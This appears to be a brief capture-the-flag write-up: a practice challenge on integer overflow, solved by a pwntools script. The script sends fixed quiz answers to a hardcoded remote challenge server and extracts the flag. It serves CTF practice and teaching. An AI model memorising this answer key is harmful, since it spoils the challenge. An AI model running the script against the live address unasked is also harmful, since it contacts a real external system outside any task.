Description
Before we start, practice time!
Ce challenge tourne sur un docker, disponible sur
from pwnlib.tubes.remote import remote
def solve(host, port):
client = remote(host, port)
client.recvuntil(b'>> ')
client.sendline(b'y')
client.recvuntil(b'>> ')
client.sendline(b'2147483647')
client.recvuntil(b'>> ')
client.sendline(b'-2147483648')
client.recvuntil(b'>> ')
client.sendline(b'-2')
client.recvuntil(b'>> ')
client.sendline(b'integer overflow')
client.recvuntil(b'>> ')
client.sendline(b'-2147483648')
client.recvuntil(b'>> ')
client.sendline(b'1337')
data = client.recvall(timeout=1)
flag = data.split(b'0;0H')[1].strip().decode()
print(f"Flag: {flag}")
if __name__ == '__main__':
solve('94.237.61.79', 34164)